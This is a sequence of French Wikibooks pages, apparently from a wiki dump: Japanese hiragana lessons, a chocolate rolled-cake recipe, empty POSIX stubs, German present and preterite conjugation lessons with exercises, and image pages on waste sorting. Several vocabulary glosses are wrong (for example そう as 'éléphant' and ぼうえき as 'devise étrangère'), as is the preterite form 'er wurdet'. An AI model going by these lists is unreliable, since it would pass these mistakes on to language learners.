''p'', et qui a deux noms : ** ''handakuten'' (半濁点, « point semi-sonore »), ** et plus familièrement ''maru'' (丸, « rond »). == Tableau récapitulatif == d だda ぢji づzu でde どdo b ばha びhi ぶfu べhe ぼho p ぱpa ぴpi ぷpu ぺpe ぽpo == Vocabulaire Illustré == くだもの : fruit でんわ : téléphone まど : fenêtre かばん : bagage えび : écrevisse, crevette しんぶん : journal かげ : mur intérieur おぼん : plateau でんば : radio えんぴつ : crayon てんぷら : tempura さんぽ : marcher. == Vocabulaire en plus == ひだり : gauche えだ : branche うで : bras でんき : électricité おどり : danse こども : enfant たばこ : cigarette ゆび : doigt へび : serpent ぶんか : culture なべ : casserole ぼいん : voyelle == on a un problème == Peut-être avez-vous remarqué que Ji apparait deux fois et que Zu aussi. On peut dire que ぢji et づzu sont très très rarement utilisé C'est tout, j'ai complété... Les guillemets et les bulles ne marchent pas avec d'autres lignes... [[Catégorie:Hiragana (Japonais)]] Cuisine:Gâteau roulé 3291 44584 2006-06-15T12:50:30Z 82.121.160.56 __NOTOC__ == Ingrédients == ==== Pour le biscuit ==== * 4 oeufs * 100g de sucre * 100g de farine * 50g de beurre * 1 cuillère à café de levure chimique * une pincée de sel ==== Pour la crème chocolat (intérieur) ==== * 140 g de chocolat noir * 3 cuillières à soupe de crème fraîche semi-liquide ==== Pour la crème au chocolat (extérieure) ==== * 240g de chocolat noir * 40g de beurre ==== Matériel ==== * papier sulfurisé * 1 moule pour gâteau roulé * 1 torchon * saladiers ... == Préparation == ==== Préparation du biscuit ==== {| align="center" border="1" cellpadding="2" cellspacing="0" |- bgcolor="#efefef" ! Étape 1 ! Étape 2 |----- | width=50% |[[Image:Preparation des brownies etape2.JPG|200 px|center|]]<br /><center>Séparer les jaunes d'oeufs des blancs. Battre les jaunes, en ajoutant peu à peu le sucre. Battre longuement jusqu'à obtenir un mélange plutôt blanc.</center> | valign=top|[[Image:Préparation du biscuit 2.jpg|200px|200 px|center|]]<br /><center>Ajouter le beurre fondu, la levure et la farine en mélangeant.</center> |- bgcolor="#efefef" ! Étape 3 ! Étape 4 |----- | [[Image:Blancs d'oeufs battus.jpg|200 px|center]]<br /><center>Battre les blancs en neige et les rajouter délicatement à la préparation sans les casser.</center> | valign=top|[[Image:Biscuit avant cuisson.JPG|200 px|center]]<br /><center>Recouvrir le moule de papier sulfurisé. Verser le mélange dans le moule et faire cuire 6, 7 minutes à 170°C (thermostat 5-6).</center> |- bgcolor="#efefef" ! Étape 5 ! Étape 6 |----- | valign=top|[[Image:Biscuit apres cuisson.JPG|200px|center]]<br /><center>Aspect après cuisson.</center> | valign=top|[[Image:Biscuit preparation.JPG|200px|center]]<br /><center>Tremper un torchon et l'essorer. Démouler le biscuit sur le torchon et le rouler, pour obtenir un rouleau long et mince.</center> |} ==== Préparation de la crème chocolat (intérieure) ==== {| align="center" border="1" cellpadding="2" cellspacing="0" |- bgcolor="#efefef" ! Étape 1 ! Étape 2 |----- | width=50% |[[Image:Bain-marie.JPG|200 px|center|]]<br /><center>Faire fondre au bain-marie le chocolat.</center> | [[Image:Chocolat interieur.JPG|200 px|center|]]<br /><center>Ajouter la crème fraîche et homogénéiser.</center> |- bgcolor="#efefef" ! Étape 3 |----- | valign=top|[[Image:Biscuit roulé.JPG|200 px|center]]<br /><center>Dérouler le biscuit et en garnir un côté. Rouler à nouveau le biscuit délicatement.</center> |} ==== Préparation de la crème chocolat extérieure ==== {| align="center" border="1" cellpadding="2" cellspacing="0" |- bgcolor="#efefef" ! Étape 1 ! Étape 2 |----- | width=500px |[[Image:Bain-marie.JPG|200 px|center|]]<br /><center>Faire fondre le chocolat au bain-marie.</center> | width=50% |valign=top |[[Image:Preparation gateau roule4.jpg|200px|center|]]<br /><center>Ajouter le beurre, mélanger.</center> |- bgcolor="#efefef" ! Étape 3 ! Étape 4 |----- | valign=top |[[Image:Gâteau roulé.JPG|200px|center]]<br /><center>Garnir l'extérieur du biscuit roulé.</center> | valign=top | [[Image:Gâteau roulé2.JPG|200px|center]] |} * Ce gâteau peut être servi avec de la [[Cuisine:Crèmes#Cr.C3.A8me_anglaise|crème anglaise]]. {{Cuisine:Desserts}} Programmation POSIX:Fichiers IV 3294 14817 2005-04-21T14:42:06Z Guillaumito 46 + tubes nommés {{Programmation POSIX}} == Supprimer == == Renommer/Déplacer == == Liens == == Liens symboliques == == Tubes nommés == Programmation POSIX:Fichiers III 3295 14818 2005-04-21T14:47:56Z Guillaumito 46 {{Programmation POSIX}} == Tubes == == Tubes nommés == Modèle:Cuisine:Desserts 3296 14819 2005-04-21T17:01:24Z Guillaumito 46 tentative de modèle pour les desserts... ---- ''Retour :'' [[Livre de Cuisine]] / [[Cuisine:Desserts|Desserts]] ---- Modèle:Cuisine 3297 45167 2006-06-18T16:37:16Z Nicombo 684 aj lien modif modele ---- <div style="float:right"><small>[[:Modèle:Cuisine|modifier]]</small></div> ''Retour :'' {{{1|}}} | [[Livre de Cuisine]] ---- Modèle:Recettes par pays 3299 14821 2005-04-21T19:24:41Z Antoinel 182 ---- ''Retour'' : [[Livre_de_Cuisine|Livre de cuisine]] / [[Cuisine:Recettes par pays|Recettes par pays]] ---- Leçon Hiragana 6 3300 42562 2006-05-16T22:19:27Z Abrahami 1536 next [[Leçon Hiragana 5|<< Leçon 5]]|[[Japonais:Table des matières|^ Japonais ^]]|[[Leçon Hiragana 7|Leçon 7 >>]] == Leçon 6 : les doubles consonnes == Résumé de l'episode précédent : vous avez appris tous vos caractères, et compris qu'en plus il y a les guillemets et la bulle. Vous vous demandez encore avec inquiètude ce que je vous prépare. Rien de bien compliqué. En fait quand la syllabe à un petit tsu っ avant cela signifie que la consonne est doublé. Comment cela se traduit-il ? Par exemple si on prend le mot gakko qui signifie école , on va prononcer Gak.. (silence)..Ko et non Ga-Ko, on marque bien une pause même si elle est assez ridicule, voire difficile à discerner. Si on prend l'exemple classique dans les dessins animés japonais en VO "wakatta" (j'ai compris)on dira WaKaT..TA et Non Wa.KA.TA. En romanji, c'est-à-dire lorqu' on transcrit le mot en écriture occidentale, on le symbolise par une double consonne. っか : - kka っき : - kki っく : - kku っけ : - kke っこ : - kko っさ : - ssa っし : - sshi っす : - ssu っせ : - sse っそ : - sso った : - tta っち : - tchi っつ : - ttssu って : - tte っと : - tto っぱ : - ppa っぴ : - ppi っぷ : - ppu っぺ : - ppe っぽ : - ppo == Vocabulaire illustré == らっかさん : parachute がっき : guitare せっけん : savon けっこん : mariage ざっし : magazine きって : timbre らっぱ : trompette きっぷ : ticket == Vocabulaire en plus == いっかい : premier étage (rez-de-chaussée en France !!!) さっか : écrivain にっき : journal intime はっけん : découverte いっちつ : un livre はっせん : 8 milles けっせき : absence ねったい : les tropiques あさって : après-demain こっぎて : chèque いっぷん : une minute ろっぷん : 6 minutes しっぽい : échec せいねんがっぴ : date de naissance [[Catégorie:Hiragana (Japonais)]] Leçon Hiragana 7 3301 42563 2006-05-16T22:20:45Z Abrahami 1536 next [[Leçon Hiragana 6|<< Leçon 6]]|[[Japonais:Table des matières|^ Japonais ^]]|[[Leçon Hiragana 8|Leçon 8 >>]] = Les voyelles longues = Résumé des épisodes précédents : vous avez vu, dans l'épisode précédent, des consonnes courtes (enfin presque). Et bien pour compenser il existe des voyelles longues. Donc premier mot de la liste illustrée, le fameux okaasan (maman) , il ne se dit pas O-Ka-San mais O-Kaaaaaaaaaaaaaaaaaaaaaaaaa-San (en appuyant lourdememnt sur le Kaaaa). C'est assez simple pour signifier que la syllabe est longue , on rajoute derrière une voyelle かあ : kaa (kā) さあ : saa(sā) たあ : ta(tā) きい : kii(kī) しい : shii(shī) ちい :chii(chī)ū くう:ku(kū) すう :suu(sū) つうtsuu(tsū) けい :kei せい (kē) :sei(sē) てい: tei ねえ nee(nē) こう : koo(kō) そう : soo(sō) とう : too(tō) おお : oo(ō) とお : too(tō) On peut trouver suivant les méthodes et les dictionnaires pour la voyelle longue soit Kaa, Kâ ou encore Kā a avec une barre ; Le Kā est plus propre mais assez difficile à trouver sur le clavier. == Vocabulaire illustré == おかあさん : mère おばあさん : grand-mère おじいさん : grand-père おにいさん : grand frère せんっぷうき : ventilateur ふうとう : lettre とけい : réveil れいぞうこ : frigo おねえさん : grande soeur ひこうき : avion ぼうし : casquette こおり : glace おおかみ : loup, On constatera que la plupart des o long s'ecrivent とう par exemple ありがとうaligatoo (merci) bien que cela soit un o long il s'écrit avec le う. Les quelques exceptions sont おおい beaucoup , おおやけ publique ,おおきい grand, こおり glace, とおい loin, とおる passer, とおろぎ cricket. Bref les mots les plus utiles quoi. == Vocabulaire en plus == えいご : l'anglais (langue) けいぎい : économie がくせい : étudiant へいわ : la paix めいし : nom (noun) くうき : air こうつう : transport つうしん : correspondance ばんごう : nombre そう : éléphant ぼうえき: devise étrangère ぶんぽう : grammaire げつようび : lundi とおか : le dixième jour おおき : grand とおい : loin [[Catégorie:Hiragana (Japonais)]] Japonais:Romaji 3302 26549 2005-12-06T14:19:04Z 08pb80 897 + Méthode Hepburn Voir [http://fr.wikipedia.org/wiki/Romaji Rōmaji sur Wikipedia] La méthode de romanisation adoptée dans ce livre est la [http://fr.wikipedia.org/wiki/M%C3%A9thode_Hepburn Méthode Hepburn]. ---- Retour à la [[Table des matières (Japonais)|table des matières]]. Japonais:Leçon1 3305 32487 2006-02-11T23:35:28Z 82.224.229.104 {{En travaux}} [[Japonais:Table des matières|^ Japonais ^]] | [[Introduction à la méthode de japonais|<< Introduction]] | Leçon 1 | [[Japonais:Leçon2|Leçon 2 >>]] = Introduction à faire = = Plan de la leçon 1 = *[[Japonais:Leçon1:Grammaire|Grammaire]] *[[Japonais:Leçon1:Dialogue|Dialogue]] *[[Japonais:Leçon1:Grammaire (seconde partie)|Grammaire]] *[[Japonais:Leçon1:Exercice|Exercice]] *[[Japonais:Leçon1:Ecriture|Ecriture]] *[[Japonais:Leçon1:Vocabulaire|Vocabulaire]] *[[Japonais:Leçon1:Correction|Correction des exercices]] [[Japonais:Table des matières|^ Japonais ^]] | [[Introduction à la méthode de japonais|<< Introduction]] | Leçon 1 | [[Japonais:Leçon2|Leçon 2 >>]] {{Méthode_de_Japonais}} [[Catégorie:Méthode de Japonais]] Allemand:Le présent 3308 43849 2006-06-04T14:01:08Z 201.38.57.110 /* Conjugaison du verbe haben ('''avoir''') */ On emploie le plus souvent le présent pour un évènement qui se passe au moment où l'on parle.<br />Exemple : Es regnet. ''Il pleut''. <br /> Le présent peut aussi être utilisé pour un évènement qui se répète.<br />Exemple : Er schwimmt jeden Morgen. ''Il nage tous les matins.'' <br /> Enfin dans un récit, il peut avoir la valeur du présent historique (même pour un évènement passé). __NOTOC__ <br /> == <font id="Conjugaison des auxillaires au présent">Conjugaison des auxillaires </font>== <table><tr> <td width=300px> === Conjugaison du verbe haben ('''avoir''') === {| style="border: 1px solid darkgray" cellpadding=4 ! colspan=2 bgcolor=#FFFFCC | Haben || bgcolor=#FFFFCC | avoir |----- | width=80px | ich || width=80px | habe || width=80px | j'ai |----- |du || hast || tu as |----- |er/sie/es || hat || il/elle a |----- |wir ||haben || nous avons |----- |ihr || habt || vous avez |----- |Sie, sie || haben || ils ont |}Verbe facile </td></tr></table> <br /> === Conjugaison du verbe werden (devenir) === {| style="border: 1px solid darkgray" cellpadding=4 ! colspan=2 bgcolor=#FFFFCC | Werden || bgcolor=#FFFFCC | devenir |----- | width=80px | ich || width=80px | werde || width=80px | je deviens |----- |du ||wirst || tu deviens |----- |er/sie/es ||wird || il/elle/on devient |----- |wir ||werden || nous devenons |----- |ihr ||werdet || vous devenez |----- |Sie, sie ||werden || ils deviennent |}Verbe moyen <br /> == Texte de sous-titre == == Conjugaison des verbes faibles au présent == <table border="1" cellspacing="0"style="background-color: #FFFFCC"> <tr align="center"><td>personnes</td><td>désinences</td><td>wohnen</td><td>lernen</td></tr> <tr align="center"><td>1ère personne (sing.)</td><td> -'''e''' </td><td>ich wohn'''e'''</td><td>ich lern'''e'''</td></tr> <tr align="center"><td>2ème personne (sing.)</td><td> -'''st''' </td><td>du wohn'''st'''</td><td>du lern'''st'''</td></tr> <tr align="center"><td>3ème personne (sing.)</td><td> -'''t''' </td><td>er, sie, es wohn'''t'''</td><td>er, sie, es lern'''t'''</td></tr> <tr align="center"><td>1ère personne (plur.)</td><td> -'''en''' </td><td>wir wohn'''en'''</td><td>wir lern'''en'''</td></tr> <tr align="center"><td>2ème personne (plur.)</td><td> -'''t''' </td><td>ihr wohn'''t'''</td><td>ihr lern'''t'''</td></tr> <tr align="center"><td>3ème personne (plur.)</td><td> -'''en''' </td><td>sie, Sie wohn'''en'''</td><td>sie, Sie lern'''en'''</td></tr></table> <br /> À la deuxième et la troisième personne du singulier, on intercale un -e- entre le radical et les désinences du présent lorsque le radical se termine par -d, -t. <br /> == Présent des verbes forts == Le présent des verbes forts est identique à celui des verbes faibles excepté à la deuxième et troisième personne du singulier où le radical peut être différent de celui de l'infinitif. Les verbes forts en '''a''' prennent un "; les verbes forts en '''e''' prennent '''ie''' ou '''i'''. <br /> <table border="1" cellspacing="0" style="background-color: #FFFFCC"> <tr align="center"><td colspan=2>fahren (aller en voiture, conduire)</td><td colspan=2>fangen (attraper)</td><<td colspan=2>geben (donner)</td><td colspan=2>sehen (voir)</td></tr> <tr align="center"><td>ich fahre</td><td>wir fahren</td><td>ich fange</td><td>wir fangen</td><td>ich gebe</td><td>wir geben</td><td>ich sehe</td><td>wir sehen</td></tr> <tr align="center"><td>du f'''ä'''hrst</td><td>ihr fahrt</td><td>du f'''ä'''ngst</td><td>ihr fangt</td><td>du g'''i'''bst</td><td>ihr gebt</td><td>du s'''ie'''hst</td><td>ihr seht</td></tr> <tr align="center"><td>er, sie, es f'''ä'''hrt</td><td>sie, Sie fahren</td><td>er, sie, es f'''ä'''ngt</td><td> sie, Sie fangen</td><td>er, sie, es g'''i'''bt</td><td>sie/Sie geben</td><td>er, sie, es s'''ie'''ht</td><td>sie, Sie sehen</td></tr> </table> <br /> À la deuxième et la troisième personne du singulier, on intercale un -e- entre le radical et les désinences du présent lorsque le radical se termine par un d ou un t.Exemple : du find'''e'''st : tu penses. <br /> De la même manière, on peut intercaller un e après -s, -ß, -sch, -x, -z, ou un groupe de consonnes : tm, dm, chn. Cependant on utilise aussi des formes contractées.<br />Exemple : essen (manger) : du ißt; reißen (déchirer) : du reißt. == Phrases interrogatives == ==== Interrogative globale ==== Le verbe conjugué au présent se place en première position et est suivi du sujet, puis du ou des compléments. <br /> <table WIDTH="80%" align="center"><tr><td style="background-color: #FFFF66"; border: solid 1px #AAAA77; padding: 1em;" valign=top><center>'''N''' + '''T + M ? ''' </center> </td></tr></table> <br /> ---- [[Image:Evolution-tasks.png]] [[Allemand:Test_Présent|Application]] / Retour au [[Enseignement de l'allemand|sommaire]] ---- Leçon Hiragana 8 3309 42693 2006-05-17T20:04:53Z 81.66.151.42 /* Leçon n°8 : Les Voyelles Longues */ [[Leçon Hiragana 7|<< Leçon 7]]|[[Japonais:Table des matières|^ Japonais ^]]|[[Leçon Hiragana 9|Leçon 9 >>]] = Leçon n°8 : Les Semi-Voyelles = {| style="background:#FFFFE0;" cellspacing="5"; ! !! や<br />Ya!! ゆ<br />Yu!! よ<br />Yo!! |- ! き | '''きゃ'''<br />Kya||'''きゅ'''<br />Kyu||'''きょ'''<br />Kyo |- ! ぎ | '''ぎゃ'''<br />Gya||'''ぎゅ'''<br />Gyu||'''ぎょ'''<br />Gyo |- ! し | '''しゃ'''<br />Sha||'''しゅ'''<br />Shu||'''しょ'''<br />Sho |- ! じ | '''じゃ'''<br />Ja||'''じゅ'''<br />Ju||'''じょ'''<br />Jo |} remarquez que le ゃ,ゅ etょ sont plus petit = Vocabulaire Illustré = * きゃく : invité * ちきゅう : terre * すいきゅう : boeuf d'eau * けんびきょう : microscope * にんぎょう : poupée * きんぎょ : poisson * いしゃ : Docteur * じてんしゃ : Vélo[[Image:Ladies safety bicycles1889.gif|350 px]] * じんじゃ : Temple[[Image:Yasaka jinja.jpg|350 px]] * じゅうどう : Judo[[Image:Judo_kosei_inoue.jpg|350 px|Kosei Inoue trows his opponent]] * はつでんしょ : Centrale électrique * しょうぼうじとうしや : camion pompier. = Vocabulaire en plus = きゅうきゅうしゃ : Ambulance げっきょう : la paye きょねん : l'année dernière べんきゅう : Etudes ゆぅびんきょく : bureau de Poste こぅぎょう : industrie のぅぎょう : agriculture かぃしゃ : Compagnie うんてしゅ : Chauffeur じゅうにがつ : Decembre じゅうしょ : Adresse びじゅつかん : Musée じしょ : Dictionnaire しょうがくきん : Bourse d'étude こぅじょぅ : Usine [[Catégorie:Hiragana (Japonais)]] Leçon Hiragana 9 3310 42565 2006-05-16T22:22:35Z Abrahami 1536 next [[Leçon Hiragana 8|<< Leçon 8]]|[[Japonais:Table des matières|^ Japonais ^]] = lecon 9 = {| style="background:#FFFFE0;" cellspacing="5"; ! !! や<br />Ya!! ゆ<br />Yu!! よ<br />Yo!! |- ! ち | '''ちゃ'''<br />Cha||'''ちゅ'''<br />Chu||'''ちょ'''<br />Cho |- ! に | '''にゃ'''<br />Nya||'''にゅ'''<br />Nyu||'''にょ'''<br />Nyo |- ! ひ | '''ひゃ'''<br />Hya||'''ひゅ'''<br />Hyu||'''ひょ'''<br />Hyo |- ! び | '''びゃ'''<br />Bya||'''びゅ'''<br />Byu||'''びょ'''<br />Byo |- ! ぴ | '''ぴゃ'''<br />Pya||'''ぴゅ'''<br />Pyu||'''ぴょ'''<br />Pyo |- ! み | '''みゃ'''<br />Mya||'''みゅ'''<br />Myu||'''みょ'''<br />Myo |- ! り | '''りゃ'''<br />Rya||'''りゅ'''<br />Ryu||'''りょ'''<br />Ryo |} = Vocabulaire illustré = こちゃ : thé chinois (thé brun par opposition avec le thé vert japonais おちゃ Ocha) かぼちゃ : potiron ちゅうしょ : injection ちょっかく : équerre ちょうさん : lanterne ぎゅうにゅう : lait ひゃくえん : 100 yens ひょうざん : iceberg びょういん : hôpital みゃく : poul りょこう : voyage りゅう : dragon = Vocabulaire en plus = うちゅう : univers ちゅうがっこう : Junior high school こちょう : principal, le chef ゆにゅう : import にひゃく : deux cents さんびゃく : trois cents はっぴゃく : huit cents いちびょう : une seconde びょうき : maladie みゅうじ : nom de famille りゅうがくせい : étudiant étranger だいとうりょう : président [[Catégorie:Hiragana (Japonais)]] Allemand:Test Présent 3312 42434 2006-05-16T06:29:39Z Teckel 1461 /* Exercice 2 */ [[Image:Wikibooks-page.gif]] Revoir le [[Allemand:Le présent|cours sur le présent]] ---- __NOTOC__ --[[Utilisateur:83.196.73.232|83.196.73.232]] 4 décembre 2005 à 15:27 (UTC)<math>Entrez votre formule ici</math>[http://www.example.com lien titre][[Lien titre]]== Exercice 1 == Conjuguez les verbes sein, haben et werden au présent. <table><tr> <tr> <td colspan=2><center>sein</center></td><td width=100px></td><td colspan=2><center>haben</center></td><td width=100px></td><td colspan=2><center>werden</center></td></tr> <td width=40px><center>ich</center></td><td width=80px><center>_________</center></td> <td> </td><td width=40px><center>ich</td><td width=80px><center>_________</center></td><td> </td><td width=40px><center>ich</td><td width=80px><center>_________</center></td> </tr> <td width=40px><center>du</center></td><td width=80px><center>_________</center></td><td> </td><td width=40px><center>du</td><td width=80px><center>_________</center></td><td> </td><td width=40px><center>du</td><td width=80px><center>_________</center></td> </tr> <td width=40px><center>er, sie, es</center></td><td width=80px><center>_________</center></td><td> </td><td width=40px><center>er, sie, es</td><td width=80px><center>_________</center></td><td> </td><td width=40px><center>er, sie, es</td><td width=80px><center>_________</center></td> </tr> <td width=40px><center>wir</center></td><td width=80px><center>_________</center></td><td> </td><td width=40px><center>wir</td><td width=80px><center>_________</center></td><td> </td><td width=40px><center>wir</td><td width=80px><center>_________</center></td> </tr> <td width=40px><center>ihr</center></td><td width=80px><center>_________</center></td><td> </td><td width=40px><center>ihr</td><td width=80px><center>_________</center></td><td> </td><td width=40px><center>ihr</td><td width=80px><center>_________</center></td> </tr> <td width=40px><center>Sie, sie</center></td><td width=80px><center>_________</center></td><td> </td><td width=40px><center>Sie, sie</td><td width=80px><center>_________</center></td><td> </td><td width=40px><center>Sie, sie</td><td width=80px><center>_________</center></td> </tr> </table> == Exercice 2 == Donnez les terminaisons des verbes suivants, conjugués au présent avec la personne proposée : # ich find__ # du wohn__ # wir seh__ # Sie heiß__ # er geh<!---->__ == Exercice 3 == Conjuguez les verbes suivants, au présent, aux personnes proposées : # essen (manger) / 2ème personne du singulier . # waschen (laver, verbe fort) / 3ème personne du singulier. # rufen (appeler) / 2ème personne du pluriel. # denken (penser) / 1ère personne du pluriel. # trinken (boire) / 1ère personne du singulier. # gehen (aller) / 3ème personne du pluriel. == Solutions == ==== Exercice 2 ==== # ich finde # du wohnst # wir sehen # Sie heißen # er geht ==== Exercice 3 ==== # du ißt # er, sie, es wäscht # ihr ruft # wir denken # ich trinke # sie gehen ---- Retour au [[Enseignement de l'allemand|sommaire]] ---- Allemand:Le prétérit 3313 25666 2005-11-19T10:14:41Z 82.237.198.214 /* Prétérit des verbes faibles */ Le prétérit s'emploie pour un fait du passé qui est terminé. Il correspond en français à l'imparfait et au passé composé. __NOTOC__ == Prétérit des auxillaires == <table><tr> <td width=300px> === Conjugaison du verbe sein ('''être''') === {| style="border: 1px solid darkgray" cellpadding=4 ! colspan=2 bgcolor=#FFFFCC | Sein || bgcolor=#FFFFCC | être |----- | width=80px | ich || width=80px | war || width=80px | j'étais |----- |du || warst || tu étais |----- |er/sie/es || war || il/elle/on était |----- |wir || waren || nous étions |----- |ihr || wart || vous étiez |----- |Sie, sie || waren || ils étaient |} </td> <td width=300px> === Conjugaison du verbe haben ('''avoir''') === {| style="border: 1px solid darkgray" cellpadding=4 ! colspan=2 bgcolor=#FFFFCC | Haben || bgcolor=#FFFFCC | avoir |----- | width=80px | ich || width=80px | hatte || width=80px | j'avais |----- |du || hattest || tu avais |----- |er/sie/es || hatte || il/elle/on avait |----- |wir ||hatten || nous avions |----- |ihr || hattet || vous aviez |----- |Sie, sie || hatten || ils avaient |} </td></tr></table> <br /> === Conjugaison du verbe werden (devenir) === {| style="border: 1px solid darkgray" cellpadding=4 ! colspan=2 bgcolor=#FFFFCC | Werden || bgcolor=#FFFFCC | devenir |----- | width=80px | ich || width=80px | wurde || width=80px | je devenais |----- |du ||wurdest || tu devenais |----- |er/sie/es ||wurdet || il/elle/on devenait |----- |wir ||wurden || nous devenions |----- |ihr ||wurdet || vous deveniez |----- |Sie, sie ||wurden || ils devenaient |} <br /> == Prétérit des verbes faibles == <table border="1" cellspacing="0" style="background-color: #FFFFCC"> <tr align="center"><td>personnes</td><td>désinences</td><td>wohnen</td><td>lernen</td><td>arbeiten</td></tr> <tr align="center"><td>1ère personne (sing.)</td><td> -'''(e)te''' </td><td>ich wohn'''te'''</td><td>ich lern'''te'''</td><td>ich arbeite'''te'''</td></tr> <tr align="center"><td>2ème personne (sing.)</td><td> -'''(e)test''' </td><td>du wohn'''test'''</td><td>du lern'''test'''</td><td>du arbeite'''test'''</td></tr> <tr align="center"><td>3ème personne (sing.)</td><td> -'''(e)te''' </td><td>er, sie, es wohn'''te'''</td><td>er, sie, es lern'''te</td><td>er, sie, es arbeite'''te'''</td></tr> <tr align="center"><td>1ère personne (plur.)</td><td> -'''(e)ten''' </td><td>wir wohn'''ten'''</td><td>wir lern'''ten'''</td><td>wir arbeite'''ten'''</td></tr> <tr align="center"><td>2ème personne (plur.)</td><td> -'''(e)tet''' </td><td>ihr wohn'''tet'''</td><td>ihr lern'''tet'''</td><td>ihr arbeite'''tet'''</td></tr> <tr align="center"> <td>3ème personne (plur.)</td><td> -'''(e)ten''' </td><td>sie, Sie wohn'''ten'''</td><td>lern'''ten'''</td><td>sie, Sie arbeite'''ten'''</td></tr></table> <br /> On intercalle un -e- à toutes les personnes entre le radical de l'infinitif et les désinences du prétérit lorsque le radical se termine par un d ou un t (ou par tm, dm, chn).. == Prétérit des verbes forts == <table border="1" cellspacing="0" style="background-color: #FFFFCC"> <tr align="center"><td>personnes</td><td>désinences</td><td>geben</td><td>finden</td></tr> <tr align="center"><td>1ère personne (sing.)</td><td> - </td><td>ich '''gab'''</td><td>'''fand'''</td></tr> <tr align="center"><td>2ème personne (sing.)</td><td> -'''(e)st''' </td><td>du '''gab'''st'''</td><td>'''fand'''est'''</td></tr> <tr align="center"><td>3ème personne (sing.)</td><td> - </td><td>er, sie, es '''gab'''</td><td>'''fand'''</td></tr> <tr align="center"><td>1ère personne (plur.)</td><td> -'''en''' </td><td>wir '''gab'''en</td><td>'''fand'''en</td></tr> <tr align="center"><td>2ème personne (plur.)</td><td> -'''(e)t''' </td><td>ihr '''gab'''t</td><td>'''fan'''t</td></tr> <tr align="center"><td>3ème personne (plur.)</td><td> -'''en''' </td><td>sie, Sie '''gab'''en</td><td>'''fand'''en</td></tr></table> <br /> ---- [[Image:Evolution-tasks.png]] [[Allemand/Exercices/Prétérit|Application]] / [[Image:Wikibooks-page.gif]] [[Allemand Verbes forts|Voir la liste des verbes forts]] / Retour au [[Enseignement de l'allemand|sommaire]] ---- Image:Plaquette.jpg 3314 14835 2005-04-24T11:55:21Z Bionet 111 Document inspiré d'une plaquette sur le tri sélectif de la région PACA et largement adapté à la situation. Document inspiré d'une plaquette sur le tri sélectif de la région PACA et largement adapté à la situation. Image:Schéma global2.png 3315 14836 2005-05-04T10:54:58Z Bionet 111 Document inspiré de divers documents similaires et schématisant les filières de valorisation des déchets domestiques. Réalisé entièrement par moi-même [[Utilisateur:Bionet|Bionet]] 24 avr 2005 à 12:07 (UTC) {{DomainePublic}} Image:Ramassage.png 3316 14837 2005-04-24T12:55:27Z Bionet 111 Document réalisé en s'inspirant de divers documents de l'ADEME et de plaquettes du trieur dans les différentes régions. Document réalisé par moi-même ~~~~ Document réalisé en s'inspirant de divers documents de l'ADEME et de plaquettes du trieur dans les différentes régions. Document réalisé par moi-même [[Utilisateur:Bionet|Bionet]] 24 avr 2005 à 12:55 (UTC) Image:Planimplantation.png 3317 14838 2005-04-24T13:13:12Z Bionet 111 Document réalisé par ~~~~ lors de l'étude d'un centre de tri. Document réalisé par [[Utilisateur:Bionet|Bionet]] 24 avr 2005 à 13:13 (UTC) lors de l'étude d'un centre de tri. Image:Personnel centre tri.png 3318 14839 2005-04-24T13:31:26Z Bionet 111 tableau extrait d'un mémoire. Licence Wikibooks ~~~~ tableau extrait d'un mémoire. Licence Wikibooks [[Utilisateur:Bionet|Bionet]] 24 avr 2005 à 13:31 (UTC) Image:Tri negatif lateral jeté frontal.png 3319 14840 2005-04-24T13:36:04Z Bionet 111 Tri manuel latéral négatif à jeté frontal. Document réalisé par ~~~~ sous licence Wikibooks. Inspiré de plaquettes informatives de l'ADEME. Tri manuel latéral négatif à jeté frontal. Document réalisé par [[Utilisateur:Bionet|Bionet]] 24 avr 2005 à 13:36 (UTC) sous licence Wikibooks. Inspiré de plaquettes informatives de l'ADEME. Image:Tri positif latéral jeté latéral.png 3320 14841 2005-04-24T13:46:57Z Bionet 111 Document réalisé par ~~~~ sous licence Wikibooks. Document réalisé par [[Utilisateur:Bionet|Bionet]] 24 avr 2005 à 13:46 (UTC) sous licence Wikibooks. Image:Overband.png 3321 14842 2005-04-24T13:49:04Z Bionet 111 Overband, schéma simplifié adapté à partir de plusieurs documentations technique de ce type de matériel. Overband, schéma simplifié adapté à partir de plusieurs documentations technique de ce type de matériel. Image:Nomenclature modecom.png 3322 14843 2005-04-24T14:01:51Z Bionet 111 Nomenclature MODECOM des emballages ménagers. Document réalisé par ~~~~ sous licence Wikibooks Nomenclature MODECOM des emballages ménagers. Document réalisé par [[Utilisateur:Bionet|Bionet]] 24 avr 2005 à 14:01 (UTC) sous licence Wikibooks Image:Identification dechets platiques.png 3323 14844 2005-04-24T14:18:47Z Bionet 111 Document réalisé par ~~~~ sous licence wikibooks Document réalisé par [[Utilisateur:Bionet|Bionet]] 24 avr 2005 à 14:18 (UTC) sous licence wikibooks Image:Codes europeens plastiques.png 3324 14845 2005-04-24T14:26:32Z Bionet 111 Document réalisé par ~~~~ sous licence wikibooks. Document réalisé par [[Utilisateur:Bionet|Bionet]] 24 avr 2005 à 14:26 (UTC) sous licence wikibooks. Image:Prescription technique minimale.png 3325 14846 2005-04-24T15:01:34Z Bionet 111 Document réalisé par ~~~~ sous licence wikibooks. Document réalisé par [[Utilisateur:Bionet|Bionet]] 24 avr 2005 à 15:01 (UTC) sous licence wikibooks. Image:Collecte multimateriaux.png 3326 14847 2005-04-24T15:33:36Z Bionet 111 Document réalisé par ~~~~ sous licence wikibooks. Document réalisé par [[Utilisateur:Bionet|Bionet]] 24 avr 2005 à 15:33 (UTC) sous licence wikibooks. Image:Erreurs de tri.png 3327 14848 2005-04-24T15:34:40Z Bionet 111 Document réalisé par ~~~~ sous licence wikibooks Document réalisé par [[Utilisateur:Bionet|Bionet]] 24 avr 2005 à 15:34 (UTC) sous licence wikibooks Image:Souillures.png 3328 14849 2005-04-24T15:36:27Z Bionet 111 Document réalisé par ~~~~ sous licence wikibooks Document réalisé par [[Utilisateur:Bionet|Bionet]] 24 avr 2005 à 15:36 (UTC) sous licence wikibooks Wikilivres:Nom d'utilisateur 3330 14851 2005-04-24T17:03:02Z Antoinel 182 '''Q. Puis-je contribuer sous IP anonyme ?''' :'''R.''' Oui, vous êtes le bienvenu pour contribuer sous votre vrai nom, sous un pseudonyme ou anonymement (votre [[adresse IP]] est enregistrée en place de nom d'utilisateur). '''Q. À quoi bon se créer un nom d'utilisateur ?''' :'''R.''' Cela permet : :*de sauvegarder ses propres préférences, et donc de personnaliser et enregistrer la façon dont Wikilivres apparaît sur l'écran ; :*de faire apparaître son nom dans la page des [[Special:modifications récentes|modifications récentes]] pour 